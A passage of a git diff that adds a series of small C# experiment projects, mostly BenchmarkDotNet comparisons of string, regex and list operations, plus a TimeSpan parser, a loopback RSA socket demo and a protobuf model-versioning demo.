BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class RegexCompiledBenchmarks +{ + private static readonly Regex RegexInstance = new(@"\d"); + private static readonly Regex CompiledRegexInstance = new(@"\d", RegexOptions.Compiled); + + [Benchmark] + [Arguments("1234567890")] + public int BasicRegex(string input) + { + return RegexInstance.Matches(input).Count; + } + + [Benchmark] + [Arguments("1234567890")] + public int CompiledRegex(string input) + { + return CompiledRegexInstance.Matches(input).Count; + } +} diff --git a/csharp/E006-ConcatBenchmarks/E006-ConcatBenchmarks.csproj b/csharp/E006-ConcatBenchmarks/E006-ConcatBenchmarks.csproj new file mode 100644 index 0000000..f3eba11 --- /dev/null +++ b/csharp/E006-ConcatBenchmarks/E006-ConcatBenchmarks.csproj @@ -0,0 +1,14 @@ + + + + Exe + net8.0 + enable + enable + + + + + + + diff --git a/csharp/E006-ConcatBenchmarks/Program.cs b/csharp/E006-ConcatBenchmarks/Program.cs new file mode 100644 index 0000000..9d71d8f --- /dev/null +++ b/csharp/E006-ConcatBenchmarks/Program.cs @@ -0,0 +1,51 @@ +using System.Text; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ConcatBenchmarks +{ + private string _string1; + private string _string2; + private string _string3; + + [GlobalSetup] + public void Setup() + { + _string1 = "Hello"; + _string2 = "World"; + _string3 = "!"; + } + + [Benchmark] + public string PlusOperator() + { + return _string1 + _string2 + _string3; + } + + [Benchmark] + public string String_Concat() + { + return string.Concat(_string1, _string2, _string3); + } + + [Benchmark] + public string StringBuilder() + { + return new StringBuilder().Append(_string1).Append(_string2).Append(_string3).ToString(); + } + + [Benchmark] + public string Interpolation() + { + return $"{_string1}{_string2}{_string3}"; + } + + [Benchmark] + public string String_Format() + { + return string.Format("{0}{1}{2}", _string1, _string2, _string3); + } +} diff --git a/csharp/E007-ConcatVsStringBuilderBenchmarks/E007-ConcatVsStringBuilderBenchmarks.csproj b/csharp/E007-ConcatVsStringBuilderBenchmarks/E007-ConcatVsStringBuilderBenchmarks.csproj new file mode 100644 index 0000000..f3eba11 --- /dev/null +++ b/csharp/E007-ConcatVsStringBuilderBenchmarks/E007-ConcatVsStringBuilderBenchmarks.csproj @@ -0,0 +1,14 @@ + + + + Exe + net8.0 + enable + enable + + + + + + + diff --git a/csharp/E007-ConcatVsStringBuilderBenchmarks/Program.cs b/csharp/E007-ConcatVsStringBuilderBenchmarks/Program.cs new file mode 100644 index 0000000..1e41869 --- /dev/null +++ b/csharp/E007-ConcatVsStringBuilderBenchmarks/Program.cs @@ -0,0 +1,41 @@ +using System.Text; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ConcatVsStringBuilderBenchmarks +{ + private int _count; + private string _string; + + [GlobalSetup] + public void Setup() + { + _count = 100; + _string = "Hello World"; + } + + [Benchmark] + public string PlusOperator() + { + var result = ""; + + for (var i = 0; i < _count; i++) + result += _string; + + return result; + } + + [Benchmark] + public string StringBuilder() + { + var result = new StringBuilder(); + + for (var i = 0; i < _count; i++) + result.Append(_string); + + return result.ToString(); + } +} diff --git a/csharp/E008-X10D_ToGetParametersBenchmarks/E008-X10D_ToGetParametersBenchmarks.csproj b/csharp/E008-X10D_ToGetParametersBenchmarks/E008-X10D_ToGetParametersBenchmarks.csproj new file mode 100644 index 0000000..5b17666 --- /dev/null +++ b/csharp/E008-X10D_ToGetParametersBenchmarks/E008-X10D_ToGetParametersBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E008_X10D_ToGetParametersBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E008-X10D_ToGetParametersBenchmarks/Program.cs b/csharp/E008-X10D_ToGetParametersBenchmarks/Program.cs new file mode 100644 index 0000000..24d2169 --- /dev/null +++ b/csharp/E008-X10D_ToGetParametersBenchmarks/Program.cs @@ -0,0 +1,50 @@ +using System.Web; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class X10DToGetParametersBenchmarks +{ + public Dictionary Dictionary { get; } = new(); + + [GlobalSetup] + public void Setup() + { + for (var index = 0; index < 26; index++) + Dictionary.Add(('a' + index).ToString(), index); + } + + [Benchmark] + public string List() + { + static string Sanitize(KeyValuePair pair) where TKey : notnull + { + string key = HttpUtility.UrlEncode(pair.Key.ToString())!; + string? value = HttpUtility.UrlEncode(pair.Value?.ToString()); + return $"{key}={value}"; + } + + var list = new List(); + foreach (var pair in Dictionary) + { + list.Add(Sanitize(pair)); + } + + return string.Join('&', list); + } + + [Benchmark] + public string Linq() + { + static string Sanitize(KeyValuePair pair) where TKey : notnull + { + string key = HttpUtility.UrlEncode(pair.Key.ToString())!; + string? value = HttpUtility.UrlEncode(pair.Value?.ToString()); + return $"{key}={value}"; + } + + return string.Join('&', Dictionary.Select(Sanitize)); + } +} diff --git a/csharp/E009-TimeSpanParser/E009-TimeSpanParser.csproj b/csharp/E009-TimeSpanParser/E009-TimeSpanParser.csproj new file mode 100644 index 0000000..60520ff --- /dev/null +++ b/csharp/E009-TimeSpanParser/E009-TimeSpanParser.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E009_TimeSpanParser + enable + enable + + + + + + + diff --git a/csharp/E009-TimeSpanParser/Program.cs b/csharp/E009-TimeSpanParser/Program.cs new file mode 100644 index 0000000..e93fb98 --- /dev/null +++ b/csharp/E009-TimeSpanParser/Program.cs @@ -0,0 +1,69 @@ +using Humanizer; +using Humanizer.Localisation; + +Console.WriteLine(Parse("2y").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year)); +Console.WriteLine(Parse("2m").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year)); +Console.WriteLine(Parse("2mo").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year)); +Console.WriteLine(Parse("1y2mo3m").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year)); +Console.WriteLine(Parse("3d").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year)); +Console.WriteLine(Parse("1y1mo1w1d1h1m1s").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year)); +return; + +static TimeSpan Parse(string value) +{ + TimeSpan result = TimeSpan.Zero; + var unitValue = 0; + + for (var index = 0; index < value.Length; index++) + { + char current = value[index]; + switch (current) + { + case var digitChar when char.IsDigit(digitChar): + var digit = (int)char.GetNumericValue(digitChar); + unitValue = unitValue * 10 + digit; + break; + + case 'y': + result += TimeSpan.FromDays(unitValue * 365); + unitValue = 0; + break; + + case 'm': + if (index < value.Length - 1 && value[index + 1] == 'o') + { + index++; + result += TimeSpan.FromDays(unitValue * 30); + } + else + { + result += TimeSpan.FromMinutes(unitValue); + } + + unitValue = 0; + break; + + case 'w': + result += TimeSpan.FromDays(unitValue * 7); + unitValue = 0; + break; + + case 'd': + result += TimeSpan.FromDays(unitValue); + unitValue = 0; + break; + + case 'h': + result += TimeSpan.FromHours(unitValue); + unitValue = 0; + break; + + case 's': + result += TimeSpan.FromSeconds(unitValue); + unitValue = 0; + break; + } + } + + return result; +} diff --git a/csharp/E010-ThreadTest/E010-ThreadTest.csproj b/csharp/E010-ThreadTest/E010-ThreadTest.csproj new file mode 100644 index 0000000..23c2abe --- /dev/null +++ b/csharp/E010-ThreadTest/E010-ThreadTest.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E010_ThreadTest + enable + enable + + + diff --git a/csharp/E010-ThreadTest/Program.cs b/csharp/E010-ThreadTest/Program.cs new file mode 100644 index 0000000..596a01e --- /dev/null +++ b/csharp/E010-ThreadTest/Program.cs @@ -0,0 +1,20 @@ +using System.Timers; +using Timer = System.Timers.Timer; + +var timer = new Timer +{ + Interval = 1000, + Enabled = true +}; +timer.Elapsed += TimerOnElapsed; + +Console.WriteLine($"Calling start in thread {Environment.CurrentManagedThreadId}"); +timer.Start(); + +Console.ReadLine(); + +static void TimerOnElapsed(object? sender, ElapsedEventArgs e) +{ + (sender as Timer)?.Stop(); + Console.WriteLine($"Elapsed raised in thread {Environment.CurrentManagedThreadId}"); +} diff --git a/csharp/E011-SpacedIntBenchmarks/E011-SpacedIntBenchmarks.csproj b/csharp/E011-SpacedIntBenchmarks/E011-SpacedIntBenchmarks.csproj new file mode 100644 index 0000000..66c5b31 --- /dev/null +++ b/csharp/E011-SpacedIntBenchmarks/E011-SpacedIntBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E011_SpacedIntBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E011-SpacedIntBenchmarks/Program.cs b/csharp/E011-SpacedIntBenchmarks/Program.cs new file mode 100644 index 0000000..c6b49e8 --- /dev/null +++ b/csharp/E011-SpacedIntBenchmarks/Program.cs @@ -0,0 +1,36 @@ +using System.Text; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class SpacedIntBenchmarks +{ + private const int Value = 12345689; + + [Benchmark] + [Arguments(Value)] + public string SelectWithConcat(int value) + { + return string.Concat(value.ToString().Select(digit => $"{digit} ")); + } + + [Benchmark] + [Arguments(Value)] + public string DivisionWithBuilder(int value) + { + var builder = new StringBuilder(); + + while (value > 0) + { + int digit = value - (value / 10 * 10); + builder.Insert(0, digit); + builder.Insert(1, ' '); + + value /= 10; + } + + return builder.ToString(); + } +} diff --git a/csharp/E012-SourceGeneratorDummy/E012-SourceGeneratorDummy.csproj b/csharp/E012-SourceGeneratorDummy/E012-SourceGeneratorDummy.csproj new file mode 100644 index 0000000..bb192d6 --- /dev/null +++ b/csharp/E012-SourceGeneratorDummy/E012-SourceGeneratorDummy.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E012_SourceGeneratorDummy + enable + enable + + + diff --git a/csharp/E012-SourceGeneratorDummy/Program.cs b/csharp/E012-SourceGeneratorDummy/Program.cs new file mode 100644 index 0000000..7a994e2 --- /dev/null +++ b/csharp/E012-SourceGeneratorDummy/Program.cs @@ -0,0 +1,53 @@ +using System.Reflection; +using System.Text; + +Type[] s_types = Type.EmptyTypes; + +Init(); + +var source = new StringBuilder(); +using var writer = new StringWriter(source); + +foreach (Type type in s_types) +{ + writer.WriteLine("// This file was generated by X10D."); + writer.WriteLine("// Do not edit it manually."); + writer.WriteLine(); + writer.WriteLine("namespace X10D"); + writer.WriteLine(); + writer.WriteLine("public static partial class EnumerableExtensions"); + writer.WriteLine("{"); + writer.WriteLine(" /// "); + writer.WriteLine($" /// Computes the product of a sequence of values."); + writer.WriteLine(" /// "); + writer.WriteLine( + $" /// The sequence of values that are used to calculate the product."); + writer.WriteLine(" /// The product of the values in the sequence."); + + if (type.GetCustomAttribute() is { } compliant) + writer.WriteLine($" [CLSCompliant({compliant.IsCompliant.ToString().ToLower()})]"); + + writer.WriteLine($" public static {type.FullName} Product(this IEnumerable<{type.FullName}> source)"); + writer.WriteLine(" {"); + writer.WriteLine(" if (source is null)"); + writer.WriteLine(" throw new ArgumentNullException(nameof(source));"); + writer.WriteLine(); + writer.WriteLine(" var result = 1m;"); + writer.WriteLine(); + writer.WriteLine(" foreach (var item in source)"); + writer.WriteLine(" result *= item;"); + writer.WriteLine(); + writer.WriteLine(" return result;"); + writer.WriteLine(" }"); + writer.WriteLine("}"); +} + +return; + +void Init() +{ + s_types = new[] + { + typeof(int), typeof(uint) + }; +} \ No newline at end of file diff --git a/csharp/E012-SourceGeneratorDummy/StringBuilderReader.cs b/csharp/E012-SourceGeneratorDummy/StringBuilderReader.cs new file mode 100644 index 0000000..e8e24c0 --- /dev/null +++ b/csharp/E012-SourceGeneratorDummy/StringBuilderReader.cs @@ -0,0 +1,117 @@ +using System.Text; + +namespace E012_SourceGeneratorDummy; + +/// +/// Represents a reader that can read a . +/// +public class StringBuilderReader : TextReader +{ + private readonly StringBuilder _stringBuilder; + private int _index; + + /// + /// Initializes a new instance of the class. + /// + /// The to wrap. + /// is . + public StringBuilderReader(StringBuilder stringBuilder) + { + _stringBuilder = stringBuilder ?? throw new ArgumentNullException(nameof(stringBuilder)); + } + + /// + public override int Read() + { + if (_index >= _stringBuilder.Length) + return -1; + + return _stringBuilder[_index++]; + } + + /// + public override int Read(char[] buffer, int index, int count) + { + if (buffer is null) + throw new ArgumentNullException(nameof(buffer)); + if (index < 0) + throw new ArgumentOutOfRangeException(nameof(index)); + if (count < 0) + throw new ArgumentOutOfRangeException(nameof(count)); + if (buffer.Length - index < count) + throw new ArgumentException("The buffer is too small.", nameof(buffer)); + if (_index >= _stringBuilder.Length) + return -1; + + int length = Math.Min(_stringBuilder.Length - _index, count); + _stringBuilder.CopyTo(_index, buffer, index, length); + _index += length; + return length; + } + + /// + public override int Read(Span buffer) + { + int count = Math.Min(buffer.Length, _stringBuilder.Length - _index); + for (var index = 0; index < count; index++) + buffer[index] = _stringBuilder[index + _index]; + + _index += count; + return count; + } + + /// + public override int ReadBlock(Span buffer) + { + return Read(buffer); + } + + /// + public override int Peek() + { + if (_index >= _stringBuilder.Length) + return -1; + + return _stringBuilder[_index]; + } + + /// + public override int ReadBlock(char[] buffer, int index, int count) + { + if (_index >= _stringBuilder.Length) + return -1; + + int length = Math.Min(count, _stringBuilder.Length - _index); + _stringBuilder.CopyTo(_index, buffer, index, length); + _index += length; + return length; + } + + /// + public override string? ReadLine() + { + if (_index >= _stringBuilder.Length) + return null; + + int start = _index; + while (_index < _stringBuilder.Length && _stringBuilder[_index] != '\n') + _index++; + + if (_index < _stringBuilder.Length) + _index++; + + return _stringBuilder.ToString(start, _index - start - 1); + } + + /// + public override string ReadToEnd() + { + return _stringBuilder.ToString(); + } + + /// + public override void Close() + { + _index = _stringBuilder.Length; + } +} diff --git a/csharp/E013-ServerClient/E013-ServerClient.csproj b/csharp/E013-ServerClient/E013-ServerClient.csproj new file mode 100644 index 0000000..4dc4dcc --- /dev/null +++ b/csharp/E013-ServerClient/E013-ServerClient.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E013_ServerClient + enable + enable + + + diff --git a/csharp/E013-ServerClient/Program.cs b/csharp/E013-ServerClient/Program.cs new file mode 100644 index 0000000..b2955d8 --- /dev/null +++ b/csharp/E013-ServerClient/Program.cs @@ -0,0 +1,66 @@ +using System.Net; +using System.Net.Sockets; +using System.Security.Cryptography; +using System.Text; + +new Thread(ServerWorker).Start(); +new Thread(ClientWorker).Start(); +return; + +static void ClientWorker() +{ + using var socket = new Socket(SocketType.Stream, ProtocolType.Tcp); + socket.Connect(new IPEndPoint(IPAddress.Loopback, 1234)); + + using var stream = new NetworkStream(socket); + + // read public key from server + using var reader = new BinaryReader(stream); + using var writer = new BinaryWriter(stream); + using var rsa = new RSACryptoServiceProvider(2048); + rsa.ImportParameters(new RSAParameters + { + Modulus = reader.ReadBytes(reader.ReadInt32()), + Exponent = reader.ReadBytes(reader.ReadInt32()) + }); + + while (Console.ReadLine() is { } line) + { + // encrypt line and send to server + byte[] encrypted = rsa.Encrypt(Encoding.UTF8.GetBytes(line), RSAEncryptionPadding.OaepSHA1); + writer.Write(encrypted.Length); + writer.Write(encrypted); + } +} + +static void ServerWorker() +{ + using var socket = new Socket(SocketType.Stream, ProtocolType.Tcp); + socket.Bind(new IPEndPoint(IPAddress.Any, 1234)); + socket.Listen(1); + + // generate RSA key pair + using var rsa = new RSACryptoServiceProvider(2048); + RSAParameters publicKey = rsa.ExportParameters(false); + + // accept client socket + using Socket client = socket.Accept(); + using var stream = new NetworkStream(client); + + // write public key + using var writer = new BinaryWriter(stream); + writer.Write(publicKey.Modulus!.Length); + writer.Write(publicKey.Modulus); + writer.Write(publicKey.Exponent!.Length); + writer.Write(publicKey.Exponent); + + while (true) + { + // read encrypted line from client + using var reader = new BinaryReader(new NetworkStream(client)); + int length = reader.ReadInt32(); + byte[] encrypted = reader.ReadBytes(length); + byte[] decrypted = rsa.Decrypt(encrypted, RSAEncryptionPadding.OaepSHA1); + Console.WriteLine($"Client sent: {Encoding.UTF8.GetString(decrypted)}"); + } +} diff --git a/csharp/E014-RemoveAllBenchmarks/E014-RemoveAllBenchmarks.csproj b/csharp/E014-RemoveAllBenchmarks/E014-RemoveAllBenchmarks.csproj new file mode 100644 index 0000000..307df37 --- /dev/null +++ b/csharp/E014-RemoveAllBenchmarks/E014-RemoveAllBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E014_RemoveAllBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E014-RemoveAllBenchmarks/Program.cs b/csharp/E014-RemoveAllBenchmarks/Program.cs new file mode 100644 index 0000000..ccb6509 --- /dev/null +++ b/csharp/E014-RemoveAllBenchmarks/Program.cs @@ -0,0 +1,43 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class RemoveAllBenchmarks +{ + private readonly List _list = new(); + + [GlobalSetup] + public void Setup() + { + for (var iterator = 0; iterator < 100; iterator++) + _list.Add(iterator % 2 == 0 ? null : string.Empty); + } + + [Benchmark] + public void RemoveAll() + { + _list.RemoveAll(x => x is null); + } + + [Benchmark] + public void ForLoop() + { + for (var index = 0; index < _list.Count; index++) + { + if (_list[index] is null) + _list.RemoveAt(index--); + } + } + + [Benchmark] + public void ReverseForLoop() + { + for (var index = _list.Count - 1; index >= 0; index--) + { + if (_list[index] is null) + _list.RemoveAt(index); + } + } +} diff --git a/csharp/E015-RegexVsCustomAttributeParser/E015-RegexVsCustomAttributeParser.csproj b/csharp/E015-RegexVsCustomAttributeParser/E015-RegexVsCustomAttributeParser.csproj new file mode 100644 index 0000000..ec8a4c9 --- /dev/null +++ b/csharp/E015-RegexVsCustomAttributeParser/E015-RegexVsCustomAttributeParser.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E015_RegexVsCustomAttributeParser + enable + enable + + + + + + + diff --git a/csharp/E015-RegexVsCustomAttributeParser/Program.cs b/csharp/E015-RegexVsCustomAttributeParser/Program.cs new file mode 100644 index 0000000..f964be6 --- /dev/null +++ b/csharp/E015-RegexVsCustomAttributeParser/Program.cs @@ -0,0 +1,69 @@ +using System.Text.RegularExpressions; +using BenchmarkDotNet.Running; +using E015_RegexVsCustomAttributeParser; + +Regex regex = new(@"^\[[A-Z_][A-Z0-9_]+(\(([0-9]+)\))?\]$", RegexOptions.Compiled | RegexOptions.IgnoreCase); + +Console.WriteLine(UsingRegex("[UseResources]")); +Console.WriteLine(UsingRegex("[UseResources(42)]")); +Console.WriteLine(UsingRegex("[UseResources(420)]")); +Console.WriteLine(UsingRegex("[UseResources(4200)]")); + +Console.WriteLine(UsingCustomParser("[UseResources]")); +Console.WriteLine(UsingCustomParser("[UseResources(42)]")); +Console.WriteLine(UsingCustomParser("[UseResources(420)]")); +Console.WriteLine(UsingCustomParser("[UseResources(4200)]")); + +BenchmarkRunner.Run(); +return; + +int UsingRegex(string input) +{ + Match match = regex.Match(input); + if (!match.Success) return 0; + if (match.Groups.Count < 3) return 0; + + Group argumentsGroup = match.Groups[1]; + Group firstArgumentGroup = match.Groups[2]; + + if (!argumentsGroup.Success || !firstArgumentGroup.Success) return 0; + return int.TryParse(firstArgumentGroup.ValueSpan, out int result) ? result : 0; +} + +static int UsingCustomParser(string input) +{ + ReadOnlySpan span = input.AsSpan(); + if (span[0] != '[' || span[^1] != ']') return 0; + + var argumentList = false; + var result = 0; + + + for (var index = 1; index < span.Length - 1; index++) + { + char current = span[index]; + if (current == '(') + { + if (argumentList) return 0; + argumentList = true; + continue; + } + + if (current == ')') + { + if (!argumentList) return 0; + argumentList = false; + continue; + } + + if (argumentList) + { + if (current is < '0' or > '9') return 0; + + int numericValue = current - '0'; + result = result * 10 + numericValue; + } + } + + return result; +} diff --git a/csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomAttributeParser.cs b/csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomAttributeParser.cs new file mode 100644 index 0000000..c1f153f --- /dev/null +++ b/csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomAttributeParser.cs @@ -0,0 +1,116 @@ +using System.Text.RegularExpressions; +using BenchmarkDotNet.Attributes; + +namespace E015_RegexVsCustomAttributeParser; + +[SimpleJob, MemoryDiagnoser(false)] +public class RegexVsCustomAttributeParser +{ + private Regex _regex; + + [GlobalSetup] + public void Setup() + { + _regex = new Regex(@"^\[[A-Z_][A-Z0-9_]+(\(([0-9]+)\))?\]$", RegexOptions.Compiled | RegexOptions.IgnoreCase); + } + + [Benchmark] + [Arguments("[UseResources]")] + [Arguments("[UseResources(42)]")] + [Arguments("[UseResources(420)]")] + [Arguments("[UseResources(4200)]")] + public int Regex(string input) + { + Match match = _regex.Match(input); + if (!match.Success) return 0; + if (match.Groups.Count < 3) return 0; + + Group argumentsGroup = match.Groups[1]; + Group firstArgumentGroup = match.Groups[2]; + + if (!argumentsGroup.Success || !firstArgumentGroup.Success) return 0; + return int.TryParse(firstArgumentGroup.ValueSpan, out int result) ? result : 0; + } + + /*[Benchmark] +[Arguments("[UseResources]")] +[Arguments("[UseResources(42)]")] +[Arguments("[UseResources(420)]")] +[Arguments("[UseResources(4200)]")] +public int CustomParser_GetNumericValue(string input) +{ + if (input[0] != '[' || input[^1] != ']') return 0; + + var argumentList = false; + var result = 0; + + for (var index = 1; index < input.Length - 1; index++) + { + char current = input[index]; + if (current == '(') + { + if (argumentList) return 0; + argumentList = true; + continue; + } + + if (current == ')') + { + if (!argumentList) return 0; + argumentList = false; + continue; + } + + if (argumentList) + { + if (!char.IsDigit(current)) return 0; + + var numericValue = (int) char.GetNumericValue(current); + result = result * 10 + numericValue; + } + } + + return result; +}*/ + + [Benchmark] + [Arguments("[UseResources]")] + [Arguments("[UseResources(42)]")] + [Arguments("[UseResources(420)]")] + [Arguments("[UseResources(4200)]")] + public int CustomParser(string input) + { + if (input[0] != '[' || input[^1] != ']') return 0; + + var argumentList = false; + var result = 0; + + for (var index = 1; index < input.Length - 1; index++) + { + char current = input[index]; + if (current == '(') + { + if (argumentList) return 0; + argumentList = true; + continue; + } + + if (current == ')') + { + if (!argumentList) return 0; + argumentList = false; + continue; + } + + if (argumentList) + { + if (current is < '0' or > '9') return 0; + + int numericValue = current - '0'; + result = result * 10 + numericValue; + } + } + + return result; + } +} diff --git a/csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomParserTest.cs b/csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomParserTest.cs new file mode 100644 index 0000000..29418b4 --- /dev/null +++ b/csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomParserTest.cs @@ -0,0 +1,12 @@ +using System.Text.RegularExpressions; + +public class RegexVsCustomParserTest +{ + private static readonly Regex Regex = new(@"^\[[A-Z_][A-Z0-9_]+(\(([0-9]+)\))?\]$", + RegexOptions.Compiled | RegexOptions.IgnoreCase); + + private static void Main() + { + } + +} diff --git a/csharp/E016-ProtoBufExtendedModel/E016-ProtoBufExtendedModel.csproj b/csharp/E016-ProtoBufExtendedModel/E016-ProtoBufExtendedModel.csproj new file mode 100644 index 0000000..1dfe313 --- /dev/null +++ b/csharp/E016-ProtoBufExtendedModel/E016-ProtoBufExtendedModel.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E016_ProtoBufExtendedModel + enable + enable + + + + + + + diff --git a/csharp/E016-ProtoBufExtendedModel/ExtendedSaveData.cs b/csharp/E016-ProtoBufExtendedModel/ExtendedSaveData.cs new file mode 100644 index 0000000..84b739c --- /dev/null +++ b/csharp/E016-ProtoBufExtendedModel/ExtendedSaveData.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace E016_ProtoBufExtendedModel; + +[ProtoContract] +public class ExtendedSaveData +{ + [ProtoMember(1)] public int Health { get; set; } + + [ProtoMember(2)] public int Score { get; set; } = 50; // default value +} diff --git a/csharp/E016-ProtoBufExtendedModel/Program.cs b/csharp/E016-ProtoBufExtendedModel/Program.cs new file mode 100644 index 0000000..535f8a5 --- /dev/null +++ b/csharp/E016-ProtoBufExtendedModel/Program.cs @@ -0,0 +1,52 @@ +using E016_ProtoBufExtendedModel; +using ProtoBuf; + +const string saveFile = "save.dat"; + +{ + Console.WriteLine("Writing old model..."); + Save(new SaveData { Health = 100 }); + + Console.WriteLine("Reading old model..."); + var saveData = Load(); + Console.WriteLine($"Health is {saveData.Health}"); +} + +Console.WriteLine(BitConverter.ToString(File.ReadAllBytes(saveFile))); +Console.WriteLine("---"); + +{ + Console.WriteLine("Reading old data to new model..."); + var saveData = Load(); + Console.WriteLine($"Health is {saveData.Health}"); + Console.WriteLine($"Score is {saveData.Score}"); // should be 50, the default + + saveData.Score = 100; // increase data + Console.WriteLine("Writing new model..."); + Save(saveData); +} + +Console.WriteLine(BitConverter.ToString(File.ReadAllBytes(saveFile))); +Console.WriteLine("---"); + +{ + Console.WriteLine("Reading new model..."); + var saveData = Load(); + Console.WriteLine($"New loaded health is {saveData.Health}"); + Console.WriteLine($"New loaded score is {saveData.Score}"); +} + +Console.WriteLine(BitConverter.ToString(File.ReadAllBytes(saveFile))); +return; + +T Load() +{ + using FileStream stream = File.OpenRead(saveFile); + return Serializer.Deserialize(stream); +} + +void Save(T value) +{ + using FileStream stream = File.Create(saveFile); + Serializer.Serialize(stream, value); +} diff --git a/csharp/E016-ProtoBufExtendedModel/SaveData.cs b/csharp/E016-ProtoBufExtendedModel/SaveData.cs new file mode 100644 index 0000000..fc7b38e --- /dev/null +++ b/csharp/E016-ProtoBufExtendedModel/SaveData.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace E016_ProtoBufExtendedModel; + +[ProtoContract] +public class SaveData +{ + [ProtoMember(1)] public int Health { get; set; } +} \ No newline at end of file diff --git a/csharp/E017-PowVsManualSquareBenchmarks/E017-PowVsManualSquareBenchmarks.csproj b/csharp/E017-PowVsManualSquareBenchmarks/E017-PowVsManualSquareBenchmarks.csproj new file mode 100644 index 0000000..be3daf9 --- /dev/null +++ b/csharp/E017-PowVsManualSquareBenchmarks/E017-PowVsManualSquareBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E017_PowVsManualSquareBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E017-PowVsManualSquareBenchmarks/Program.cs b/csharp/E017-PowVsManualSquareBenchmarks/Program.cs new file mode 100644 index 0000000..f6da95e --- /dev/null +++ b/csharp/E017-PowVsManualSquareBenchmarks/Program.cs @@ -0,0 +1,40 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob] +public class PowVsManualSquare +{ + [Benchmark] + [Arguments(1, 2)] + [Arguments(10, 3)] + [Arguments(100, 4)] + public double Pow(double x, int y) + { + return Math.Pow(x, 2); + } + + [Benchmark] + [Arguments(1, 2)] + [Arguments(10, 3)] + [Arguments(100, 4)] + public double ForLoop(double x, int y) + { + var result = 1.0; + + for (var i = 0; i < y; i++) + result *= x; + + return result; + } + + [Benchmark] + [Arguments(1)] + [Arguments(10)] + [Arguments(100)] + public double XTimesX(double x) + { + return x * x; + } +} diff --git a/csharp/E018-OneLineMultiAssignment/E018-OneLineMultiAssignment.csproj b/csharp/E018-OneLineMultiAssignment/E018-OneLineMultiAssignment.csproj new file mode 100644 index 0000000..02f5fd1 --- /dev/null +++ b/csharp/E018-OneLineMultiAssignment/E018-OneLineMultiAssignment.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E018_OneLineMultiAssignment + enable + enable + + + diff --git a/csharp/E018-OneLineMultiAssignment/Program.cs b/csharp/E018-OneLineMultiAssignment/Program.cs new file mode 100644 index 0000000..bda7c99 --- /dev/null +++ b/csharp/E018-OneLineMultiAssignment/Program.cs @@ -0,0 +1,5 @@ +string[] foo; +bool ready = (foo = ["1", "2"]).Length <= int.MaxValue; + +Console.WriteLine(ready); +Console.WriteLine(string.Join(", ", foo)); diff --git a/csharp/E019-NullStringTest/E019-NullStringTest.csproj b/csharp/E019-NullStringTest/E019-NullStringTest.csproj new file mode 100644 index 0000000..abccc7f --- /dev/null +++ b/csharp/E019-NullStringTest/E019-NullStringTest.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E019_NullStringTest + enable + enable + + + diff --git a/csharp/E019-NullStringTest/Program.cs b/csharp/E019-NullStringTest/Program.cs new file mode 100644 index 0000000..3d9fb12 --- /dev/null +++ b/csharp/E019-NullStringTest/Program.cs @@ -0,0 +1,16 @@ +var upArrow = ((char)0x18).ToString(); +var downArrow = ((char)0x19).ToString(); +var rightArrow = ((char)0x1A).ToString(); +var leftArrow = ((char)0x1B).ToString(); + +while (true) +{ + Console.Write("Input: "); + string? input = Console.ReadLine(); + + if (input == upArrow) Console.WriteLine("Up arrow"); + else if (input == downArrow) Console.WriteLine("Down arrow"); + else if (input == rightArrow) Console.WriteLine("Right arrow"); + else if (input == leftArrow) Console.WriteLine("Left arrow"); + else if (input is null) Console.WriteLine("Null"); +} diff --git a/csharp/E020-NestedStructPointer/E020-NestedStructPointer.csproj b/csharp/E020-NestedStructPointer/E020-NestedStructPointer.csproj new file mode 100644 index 0000000..8c2dedc --- /dev/null +++ b/csharp/E020-NestedStructPointer/E020-NestedStructPointer.csproj @@ -0,0 +1,12 @@ + + + + Exe + net8.0 + E020_NestedStructPointer + enable + enable + true + + + diff --git a/csharp/E020-NestedStructPointer/Program.cs 